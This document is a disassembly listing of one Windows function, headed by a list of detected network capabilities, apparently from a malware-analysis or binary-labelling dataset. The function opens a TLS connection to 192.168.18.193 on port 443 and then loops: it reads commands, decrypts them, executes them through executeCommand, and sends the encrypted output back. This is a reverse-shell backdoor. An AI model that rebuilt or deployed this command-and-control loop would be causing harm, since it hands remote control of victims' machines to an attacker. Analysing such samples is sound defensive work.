Function at 0x4015ec
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x11d4
call fcn.00402b10
sub esp, eax
call dbg.__main
lea eax, [ebp - 0x11ac]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x401640
mov dword [esp], str.Failed_to_initialize_Winsock
call sym._perror
mov eax, 1
jmp 0x401966
mov dword [esp + 8], 0
mov dword [esp], 0
mov dword [esp + 4], 0
call sym._OPENSSL_init_ssl
mov dword [esp + 8], 0
mov dword [esp], 0xc
mov dword [esp + 4], 0
call sym._OPENSSL_init_crypto
mov dword [esp + 8], 0
mov dword [esp], 0x200002
mov dword [esp + 4], 0
call sym._OPENSSL_init_ssl
call sym._TLS_client_method
mov dword [esp], eax
call sym._SSL_CTX_new
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4016ca
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp], eax
call sym._ERR_print_errors_fp
mov eax, 1
jmp 0x401966
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_socket]
call eax
sub esp, 0xc
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x40170a
mov dword [esp], str.Unable_to_create_socket
call sym._perror
mov eax, 1
jmp 0x401966
mov dword [ebp - 0x11bc], 0
mov dword [ebp - 0x11b8], 0
mov dword [ebp - 0x11b4], 0
mov dword [ebp - 0x11b0], 0
mov word [ebp - 0x11bc], 2
mov dword [esp], 0x1bb
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x11ba], ax
mov dword [esp], str.192.168.18.193
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x11b8], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x11bc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x4017c4
mov dword [esp], str.Unable_to_connect
call sym._perror
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SSL_CTX_free
nop
nop
mov eax, 1
jmp 0x401966
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SSL_new
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_set_fd
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_connect
cmp eax, 1
je 0x401814
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp], eax
call sym._ERR_print_errors_fp
mov eax, 1
jmp 0x401966
mov dword [esp], str.SSL_TLS_handshake_successful._Connected_to_server._n
call sym._printf
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x1000
lea eax, [ebp - 0x101c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_read
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jg 0x4018bf
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [esp], eax
call sym._ERR_print_errors_fp
nop
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_shutdown
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_free
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_closesocket]
call eax
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._SSL_CTX_free
nop
nop
mov eax, dword [sym.imp.WS2_32.dll_WSACleanup]
call eax
mov eax, 0
jmp 0x401966
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._encryptDecrypt
lea eax, [ebp - 0x101c]
mov dword [esp + 4], eax
mov dword [esp], str.Received_command_from_client:__s_n
call sym._printf
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._executeCommand
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._encryptDecrypt
lea eax, [ebp - 0x101c]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [esp + 8], eax
lea eax, [ebp - 0x101c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._SSL_write
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
jmp 0x401820
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret